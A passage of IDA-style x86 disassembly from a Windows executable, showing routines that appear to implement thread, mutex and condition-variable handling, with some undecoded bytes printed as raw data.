jnz short loc_431112
loc_431105: ; CODE XREF: sub_4310C0+77j
push ebx
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431112: ; CODE XREF: sub_4310C0+43j
mov edx, [esp+0Ch+arg_4]
test edx, edx
jz short loc_431129
mov edi, eax
mov dword ptr [esi], 0
add ecx, edi
mov [esi+8], ecx
jmp short loc_431196
; ---------------------------------------------------------------------------
loc_431129: ; CODE XREF: sub_4310C0+58j
inc ecx
mov edi, 1
mov [esi+8], ecx
jmp short loc_431193
; ---------------------------------------------------------------------------
loc_431134: ; CODE XREF: sub_4310C0+3Fj
cmp eax, [esi+4]
jle short loc_431105
lea ecx, [esi+10h]
push ecx
call sub_401041
add esp, 4
test eax, eax
jz short loc_431160
nop
call near ptr 77C1F2BCh
mov esi, [eax]
push ebx
call sub_4010C3
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431160: ; CODE XREF: sub_4310C0+87j
mov eax, [esi+4]
test eax, eax
jz short loc_431174
mov ecx, [esi]
mov dword ptr [esi+4], 0
sub ecx, eax
mov [esi], ecx
loc_431174: ; CODE XREF: sub_4310C0+A5j
mov eax, [esp+0Ch+arg_4]
test eax, eax
jz short loc_431189
mov edi, [esi]
mov dword ptr [esi], 0
mov [esi+8], edi
jmp short loc_431196
; ---------------------------------------------------------------------------
loc_431189: ; CODE XREF: sub_4310C0+BAj
mov eax, [esi]
mov edi, 1
mov [esi+8], edi
loc_431193: ; CODE XREF: sub_4310C0+72j
dec eax
mov [esi], eax
loc_431196: ; CODE XREF: sub_4310C0+67j
; sub_4310C0+C7j
push ebx
call sub_4010C3
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_4311BE
add esi, 0Ch
push edi
push esi
call sub_402068
add esp, 8
test eax, eax
jz short loc_4311BE
nop
call near ptr 77C1F2BCh
mov ebx, [eax]
loc_4311BE: ; CODE XREF: sub_4310C0+E3j
; sub_4310C0+F4j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4311C4: ; CODE XREF: sub_4310C0+9j
; sub_4310C0+13j
mov eax, 16h
loc_4311C9: ; CODE XREF: sub_4310C0+32j
pop edi
pop esi
pop ebx
retn
sub_4310C0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431220 proc near ; CODE XREF: sub_40160Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4310C0
add esp, 8
retn
sub_431220 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431240 proc near ; CODE XREF: sub_40123Aj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ecx
push ebx
push esi
push edi
mov edi, 0Bh
xor ebx, ebx
call sub_401B27
mov esi, eax
test esi, esi
jz loc_431316
mov eax, [esi+28h]
push 0Ch
mov [esp+14h+var_4], eax
call near ptr 77C2C407h
nop
mov ebx, eax
add esp, 4
test ebx, ebx
jz loc_431316
mov ecx, [esp+10h+arg_8]
mov edx, [esp+10h+arg_C]
push ebp
mov ebp, [esp+14h+arg_4]
test ebp, ebp
mov [ebx], esi
mov [ebx+4], ecx
mov [ebx+8], edx
jz short loc_4312BE
mov eax, [ebp+0]
test eax, eax
jz short loc_4312BE
mov edi, [eax+8]
mov eax, [eax+0Ch]
mov [esi+20h], eax
mov eax, [ebp+0]
mov ecx, [eax+10h]
mov [esp+14h+var_4], ecx
mov ecx, [eax+14h]
test ecx, ecx
jnz short loc_4312C0
call sub_4012E4
; ---------------------------------------------------------------------------
mov edx, [eax+28h]
mov [esp+14h+var_4], edx
jmp short loc_4312C0
; ---------------------------------------------------------------------------
loc_4312BE: ; CODE XREF: sub_431240+4Dj
; sub_431240+54j
xor edi, edi
loc_4312C0: ; CODE XREF: sub_431240+6Ej
; sub_431240+7Cj
push esi
push 4
push ebx
xor eax, eax
push offset loc_401BA9
push edi
push eax
mov [esi+0Ch], eax
mov [esi+80h], eax
nop
call near ptr 77C3A3DBh
mov edi, eax
add esp, 18h
test edi, edi
mov [esi+4], edi
jz short loc_431309
test ebp, ebp
jz short loc_431302
cmp dword ptr [ebp+0], 0
jz short loc_431302
mov eax, [esp+14h+var_4]
push eax
push 0
push esi
call sub_4020D1
add esp, 0Ch
loc_431302: ; CODE XREF: sub_431240+AAj
; sub_431240+B0j
push edi
nop
call near ptr 27802A8h
loc_431309: ; CODE XREF: sub_431240+A6j
neg edi
sbb edi, edi
pop ebp
and edi, 0FFFFFFF5h
add edi, 0Bh
jz short loc_431349
loc_431316: ; CODE XREF: sub_431240+14j
; sub_431240+30j
push esi
call sub_4017B7
add esp, 4
xor esi, esi
test ebx, ebx
jz short loc_43133C
push ebx
nop
call near ptr 77C2C21Bh
mov ecx, [esp+14h+arg_0]
add esp, 4
mov eax, edi
mov [ecx], esi
pop edi
pop esi
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43133C: ; CODE XREF: sub_431240+E3j
mov edx, [esp+10h+arg_0]
mov eax, edi
pop edi
mov [edx], esi
pop esi
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_431349: ; CODE XREF: sub_431240+D4j
mov eax, [esp+10h+arg_0]
mov [eax], esi
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
retn
sub_431240 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4313B0: ; CODE XREF: ___:00401343j
mov ecx, [esp+8]
mov eax, 1
cmp ecx, 3 ; switch 4 cases
ja short locret_4313E7 ; default
jmp off_4313EC[ecx*4] ; switch jump
loc_4313C5: ; DATA XREF: ___:off_4313ECo
call sub_401712 ; jumptable 004313BE case 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_4313CD: ; CODE XREF: ___:004313BEj
; DATA XREF: ___:off_4313ECo
call sub_4017BC ; jumptable 004313BE case 2
retn 0Ch
; ---------------------------------------------------------------------------
loc_4313D5: ; CODE XREF: ___:004313BEj
; DATA XREF: ___:off_4313ECo
call sub_4017CB ; jumptable 004313BE case 3
retn 0Ch
; ---------------------------------------------------------------------------
loc_4313DD: ; CODE XREF: ___:004313BEj
; DATA XREF: ___:off_4313ECo
call sub_4017CB ; jumptable 004313BE case 0
call sub_401627
locret_4313E7: ; CODE XREF: ___:004313BCj
retn 0Ch ; default
; ---------------------------------------------------------------------------
align 4
off_4313EC dd offset loc_4313DD ; DATA XREF: ___:004313BEr
dd offset loc_4313C5 ; jump table for switch statement
dd offset loc_4313CD
dd offset loc_4313D5
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431420: ; CODE XREF: ___:004017C1j
mov eax, dword_5103B4
push esi
push edi
push eax
call sub_401190
; ---------------------------------------------------------------------------
db 8Bh, 7Ch, 24h
dd 83F08B10h, 0F68504C4h, 90570A75h, 808EC6E8h, 4C48377h
dd 7E89016Ah, 99FE814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h)
dd 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_431470 proc near ; CODE XREF: sub_401762j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push offset dword_5108C0
xor esi, esi
call near ptr 7C901005h
nop
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_43149B
mov eax, [eax+4]
test eax, eax
jz short loc_43149B
push eax
call near ptr 2770641h
nop
cmp eax, 7FFFFFFFh
jnz short loc_4314A0
loc_43149B: ; CODE XREF: sub_431470+14j
; sub_431470+1Bj
mov esi, 3
loc_4314A0: ; CODE XREF: sub_431470+29j
push offset dword_5108C0
call near ptr 7C9010EDh
nop
test esi, esi
jnz short loc_4314BC
mov eax, [esp+4+arg_4]
test eax, eax
mov eax, 16h
jnz short loc_4314BE
loc_4314BC: ; CODE XREF: sub_431470+3Dj
mov eax, esi
loc_4314BE: ; CODE XREF: sub_431470+4Aj
pop esi
retn
sub_431470 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4314E0: ; CODE XREF: ___:00401654j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz short loc_431531
mov edi, [esp+14h]
test edi, edi
jz short loc_431531
mov eax, [esi]
xor ebx, ebx
test eax, eax
jnz short loc_431511
lea eax, [esi+4]
push eax
nop
call near ptr 2770527h
test eax, eax
jnz short loc_431517
call edi ; _errno
mov dword ptr [esi], 1
loc_431511: ; CODE XREF: ___:004314F9j
; ___:0043151Aj
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431517: ; CODE XREF: ___:00431507j
cmp dword ptr [esi], 0
jnz short loc_431511
mov edi, dword_5118D8
loc_431522: ; CODE XREF: ___:00431529j
push 0
call edi
cmp dword ptr [esi], 0
jz short loc_431522
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431531: ; CODE XREF: ___:004314E9j
; ___:004314F1j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431560 proc near ; CODE XREF: sub_4012E4j
mov eax, dword_5103B4
push esi
push edi
push eax
call sub_401190
sub_431560 endp
; ---------------------------------------------------------------------------
db 8Bh, 0F0h, 83h
dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh
dd 1B8h, 53F80B00h, 897C7E89h, 0FBE82046h, 900232F5h, 187C1D8Bh
dd 26A0051h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 0D8E89050h
dd 500236EDh, 0E850D3FFh, 233EA44h, 5BC08590h, 0E8560E75h
dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 0E8510F8Bh, 233F069h
dd 28468990h, 3B4158Bh, 52560051h, 0FD0B10E8h, 8C483FFh
dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_431630 proc near ; CODE XREF: sub_401A64j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jnz short loc_43164E
test eax, eax
jz short loc_431648
mov eax, [eax]
mov edx, [ecx]
cmp eax, edx
jnz short loc_43164E
loc_431648: ; CODE XREF: sub_431630+Ej
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_43164E: ; CODE XREF: sub_431630+Aj
; sub_431630+16j
xor eax, eax
retn
sub_431630 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431670: ; CODE XREF: ___:0040200Ej
mov eax, [esp+4]
test eax, eax
jge short loc_43167E
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_43167E: ; CODE XREF: ___:00431676j
mov dword_5103C4, eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4316A0: ; CODE XREF: ___:00401564j
mov eax, dword_5103C4
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4316C0 proc near ; CODE XREF: sub_401B27j
push esi
call sub_401307
mov esi, eax
test esi, esi
jnz short loc_4316E2
push 84h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jz short loc_431729
loc_4316E2: ; CODE XREF: sub_4316C0+Aj
push 0
push 0
or eax, 0FFFFFFFFh
push 1
push 0
mov dword ptr [esi+28h], 0
mov dword ptr [esi+20h], 0
mov dword ptr [esi+30h], 0
mov dword ptr [esi+34h], 1
mov [esi+2Ch], eax
mov [esi+24h], eax
nop
call near ptr 276087Ah
test eax, eax
mov [esi+38h], eax
jnz short loc_431729
push esi
call sub_401BD1
add esp, 4
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_431729: ; CODE XREF: sub_4316C0+20j
; sub_4316C0+5Aj
mov eax, esi
pop esi
retn
sub_4316C0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431750 proc near ; CODE XREF: sub_401307j
push esi
push offset dword_5108C0
nop
call near ptr 7C901005h
mov esi, dword_447700
cmp esi, 1
jz short loc_431785
mov eax, [esi+8]
push offset dword_5108C0
mov dword_447700, eax
mov dword ptr [esi+8], 0
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431785: ; CODE XREF: sub_431750+15j
push offset dword_5108C0
xor esi, esi
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_431750 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4317C0 proc near ; CODE XREF: sub_401BD1j
arg_0 = dword ptr 4
push edi
push offset dword_5108C0
nop
call near ptr 7C901005h
mov edx, [esp+4+arg_0]
mov ecx, 21h
xor eax, eax
mov edi, edx
rep stosd
mov eax, dword_447700
push offset dword_5108C0
mov [edx+8], eax
mov dword_447700, edx
nop
call near ptr 7C9010EDh
pop edi
retn
sub_4317C0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431810 proc near ; CODE XREF: sub_40164Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0FFFFFFFFh
push eax
call sub_431830
sub_431810 endp
; ---------------------------------------------------------------------------
add esp, 8
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431830 proc near ; CODE XREF: sub_431810+7p
; sub_431950+Ap
var_8 = dword ptr -8
arg_0 = dword ptr 4
sub esp, 8
mov eax, [esp+8+arg_0]
push esi
push edi
mov edi, 1
mov [esp+10h+var_8], eax
call sub_4012E4
sub_431830 endp
; ---------------------------------------------------------------------------
mov esi, eax
test esi, esi
jz short loc_431866
mov eax, [esi+30h]
test eax, eax
jnz short loc_43186E
mov eax, [esi+38h]
test eax, eax
mov [esp+0Ch], eax
jz short loc_43186E
mov edi, 2
jmp short loc_43186E
; ---------------------------------------------------------------------------
loc_431866: ; CODE XREF: ___:0043184Bj
mov dword ptr [esp+0Ch], 0
loc_43186E: ; CODE XREF: ___:00431852j
; ___:0043185Dj ...
mov ecx, [esp+18h]
lea edx, [esp+8]
push ecx
push 0
push edx
push edi
nop
call near ptr 27606F5h
mov ecx, eax
sub ecx, 0
jz short loc_4318F9
dec ecx
jz short loc_4318A4
sub eax, 102h
pop edi
neg eax
sbb eax, eax
pop esi
and eax, 0FFFFD8CAh
add eax, 274Ch
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_4318A4: ; CODE XREF: ___:00431889j
mov eax, [esp+0Ch]
push eax
nop
call near ptr 278097Ah
test esi, esi
jz short loc_4318EE
lea edi, [esi+2Ch]
push edi
call sub_402248
mov ecx, [esi+0Ch]
mov eax, 3
add esp, 4
cmp ecx, eax
jge short loc_4318E5
push edi
mov [esi+0Ch], eax
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DED
; ---------------------------------------------------------------------------
add esp, 8
loc_4318E5: ; CODE XREF: ___:004318C9j
push edi
call sub_4010C3
add esp, 4
loc_4318EE: ; CODE XREF: ___:004318B1j
pop edi
mov eax, 16h
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_4318F9: ; CODE XREF: ___:00431886j
pop edi
xor eax, eax
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431950 proc near ; CODE XREF: sub_401D84j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_431830
sub_431950 endp
; ---------------------------------------------------------------------------
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431980 proc near ; CODE XREF: sub_401C17j
arg_0 = dword ptr 4
push esi
push offset dword_510920
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_4319B4
push esi
push ecx
call sub_4021BC
add esp, 8
mov esi, eax
push offset dword_510920
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4319B4: ; CODE XREF: sub_431980+17j
test eax, eax
jnz short loc_4319BD
mov esi, 16h
loc_4319BD: ; CODE XREF: sub_431980+36j
push offset dword_510920
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_431980 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4319F0 proc near ; CODE XREF: sub_4021BCj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebp
xor ebp, ebp
push edi
test eax, eax
jnz short loc_431A04
pop edi
mov eax, 16h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431A04: ; CODE XREF: sub_4319F0+Aj
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_431A1F
mov eax, [edi]
test eax, eax
jz short loc_431A1F
cmp dword ptr [eax], 1
jnz short loc_431A1F
pop edi
mov eax, 28h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431A1F: ; CODE XREF: sub_4319F0+1Aj
; sub_4319F0+20j ...
push esi
push 2Ch
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_431A44
mov edx, [esp+0Ch+arg_0]
mov ebp, 0Ch
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431A44: ; CODE XREF: sub_4319F0+41j
test edi, edi
mov dword ptr [esi], 0FFFFFFFFh
mov dword ptr [esi+4], 0
jz short loc_431A60
mov edi, [edi]
test edi, edi
jz short loc_431A60
mov edi, [edi+4]
jmp short loc_431A62
; ---------------------------------------------------------------------------
loc_431A60: ; CODE XREF: sub_4319F0+63j
; sub_4319F0+69j
xor edi, edi
loc_431A62: ; CODE XREF: sub_4319F0+6Ej
push 0
lea eax, [esi+10h]
push 0
push eax
mov [esi+8], edi
mov dword ptr [esi+0Ch], 0
call sub_401C8A
add esp, 0Ch
test eax, eax
jz short loc_431A9D
push esi
mov ebp, 0Bh
call near ptr 77C2C21Bh
nop
mov edx, [esp+10h+arg_0]
add esp, 4
xor esi, esi
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431A9D: ; CODE XREF: sub_4319F0+8Ej
lea ecx, [esi+14h]
push ecx
nop
call near ptr 27A0000h
mov edx, [esp+0Ch+arg_0]
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
sub_4319F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431B00 proc near ; CODE XREF: sub_402252j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
test edi, edi
jz loc_431BE0
mov eax, [edi]
test eax, eax
jz loc_431BE0
cmp eax, 0FFFFFFFFh
jz loc_431BA5
mov [esp+8+arg_0], eax
lea eax, [esp+8+arg_0]
push eax
call sub_401785
mov esi, eax
add esp, 4
test esi, esi
jnz loc_431BDB
mov ecx, [esp+8+arg_0]
mov eax, [ecx+4]
cmp eax, 1
jnz short loc_431B97
lea ecx, [esp+8+arg_0]
mov [edi], esi
push ecx
call sub_4010C3
mov edx, [esp+0Ch+arg_0]
mov esi, eax
add esp, 4
test esi, esi
jnz short loc_431B90
add edx, 10h
push edx
call sub_401690
mov eax, [esp+0Ch+arg_0]
add esp, 4
add eax, 14h
push eax
nop
call near ptr 27907E7h
mov ecx, [esp+8+arg_0]
push ecx
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431B90: ; CODE XREF: sub_431B00+61j
mov [edi], edx
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431B97: ; CODE XREF: sub_431B00+48j
dec eax
mov esi, 10h
mov [ecx+4], eax
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431BA5: ; CODE XREF: sub_431B00+1Dj
push offset dword_510920
call near ptr 7C901005h
nop
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_431BCB
push offset dword_510920
mov dword ptr [edi], 0
call near ptr 7C9010EDh
nop
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431BCB: ; CODE XREF: sub_431B00+B3j
push offset dword_510920
mov esi, 10h
nop
call near ptr 7C9010EDh
loc_431BDB: ; CODE XREF: sub_431B00+38j
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431BE0: ; CODE XREF: sub_431B00+Aj
; sub_431B00+14j
pop edi
mov eax, 16h
pop esi
retn
sub_431B00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431C30 proc near ; CODE XREF: sub_401A1Ej
arg_0 = dword ptr 4
push esi
push 8
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
cmp eax, esi
jnz short loc_431C53
mov edx, [esp+4+arg_0]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_431C53: ; CODE XREF: sub_431C30+12j
mov ecx, [esp+4+arg_0]
mov [eax], esi
mov [eax+4], esi
mov [ecx], eax
mov eax, esi
pop esi
retn
sub_431C30 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431C80 proc near ; CODE XREF: sub_4010AAj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
xor esi, esi
test ecx, ecx
jz short loc_431CA1
mov eax, [ecx]
test eax, eax
jz short loc_431CA1
push eax
mov [ecx], esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431CA1: ; CODE XREF: sub_431C80+9j
; sub_431C80+Fj
mov eax, 16h
pop esi
retn
sub_431C80 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431CC0: ; CODE XREF: ___:00401BBDj
mov eax, [esp+4]
test eax, eax
jz short loc_431CDD
mov eax, [eax]
test eax, eax
jz short loc_431CDD
mov ecx, [esp+8]
test ecx, ecx
jz short loc_431CDD
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_431CDD: ; CODE XREF: ___:00431CC6j
; ___:00431CCCj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431D00: ; CODE XREF: ___:00401906j
mov eax, [esp+4]
test eax, eax
jz short loc_431D2A
mov ecx, [eax]
test ecx, ecx
jz short loc_431D2A
mov eax, [esp+8]
cmp eax, 1
jz short loc_431D1E
test eax, eax
jnz short loc_431D2A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_431D1E: ; CODE XREF: ___:00431D15j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_431D2A: ; CODE XREF: ___:00431D06j
; ___:00431D0Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431D40 proc near ; CODE XREF: sub_40119Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
xor eax, eax
test ecx, ecx
jz short loc_431D61
mov ecx, [ecx]
test ecx, ecx
jz short loc_431D61
mov edx, [esp+arg_4]
test edx, edx
jl short loc_431D61
cmp edx, 2
jg short loc_431D61
mov [ecx+4], edx
retn
; ---------------------------------------------------------------------------
loc_431D61: ; CODE XREF: sub_431D40+8j
; sub_431D40+Ej ...
mov eax, 16h
retn
sub_431D40 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431D80 proc near ; CODE XREF: sub_4018CFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
xor eax, eax
test ecx, ecx
jz short loc_431D9E
mov ecx, [ecx]
test ecx, ecx
jz short loc_431D9E
mov edx, [esp+arg_4]
test edx, edx
jz short loc_431D9E
mov ecx, [ecx+4]
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_431D9E: ; CODE XREF: sub_431D80+8j
; sub_431D80+Ej ...
mov eax, 16h
retn
sub_431D80 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431DC0 proc near ; CODE XREF: sub_402248j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
test esi, esi
jz loc_431E77
mov eax, [esi]
test eax, eax
jz loc_431E77
cmp eax, 0FFFFFFFFh
jnz short loc_431DF1
push esi
call sub_401C17
mov edi, eax
add esp, 4
test edi, edi
jz short loc_431DF1
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431DF1: ; CODE XREF: sub_431DC0+1Dj
; sub_431DC0+2Cj
mov esi, [esi]
push esi
call near ptr 2770527h
nop
test eax, eax
jnz short loc_431E1A
loc_431DFE: ; CODE XREF: sub_431DC0+A8j
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_431E12
call sub_4012E4
; ---------------------------------------------------------------------------
loc_431E12: ; CODE XREF: sub_431DC0+4Bj
mov [esi+0Ch], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431E1A: ; CODE XREF: sub_431DC0+3Cj
mov eax, [esi+8]
test eax, eax
jz short loc_431E5A
call sub_4012E4
; ---------------------------------------------------------------------------
dw 8B50h
dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 0ECC0E890h
dd 7E830234h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
pop esi
retn
; ---------------------------------------------------------------------------
loc_431E5A: ; CODE XREF: sub_431DC0+5Fj
lea ecx, [esi+10h]
push ecx
call sub_431EB0
add esp, 4
test eax, eax
jz short loc_431DFE
call near ptr 77C1F2BCh
nop
mov edi, [eax]
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431E77: ; CODE XREF: sub_431DC0+Aj
; sub_431DC0+14j
pop edi
mov eax, 16h
pop esi
retn
sub_431DC0 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431EB0 proc near ; CODE XREF: sub_431DC0+9Ep
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_431ECA
mov eax, [eax]
push 0FFFFFFFFh
mov ecx, [eax]
push ecx
nop
call near ptr 2780782h
test eax, eax
jnz short loc_431ECA
retn
; ---------------------------------------------------------------------------
loc_431ECA: ; CODE XREF: sub_431EB0+6j
; sub_431EB0+17j
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_431EB0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431EF0 proc near ; CODE XREF: sub_401BD6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebp
push esi
mov esi, [esp+8+arg_0]
xor ebp, ebp
test esi, esi
jz loc_432088
mov eax, [esi]
test eax, eax
jz loc_432088
cmp eax, 0FFFFFFFFh
jnz short loc_431F21
push esi
call sub_401C17
mov ebp, eax
add esp, 4
test ebp, ebp
jz short loc_431F21
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431F21: ; CODE XREF: sub_431EF0+1Dj
; sub_431EF0+2Cj
mov esi, [esi]
push ebx
push edi
push esi
nop
call near ptr 2770527h
test eax, eax
jnz short loc_431F52
loc_431F30: ; CODE XREF: sub_431EF0+175j
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz loc_43207E
call sub_4012E4
; ---------------------------------------------------------------------------
pop edi
mov [esi+0Ch], eax
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431F52: ; CODE XREF: sub_431EF0+3Ej
mov eax, [esi+8]
test eax, eax
jz short loc_431F96
call sub_4012E4
; ---------------------------------------------------------------------------
dw 8B50h
dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 0EB88E890h
dd 7E830234h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
pop ebp
retn
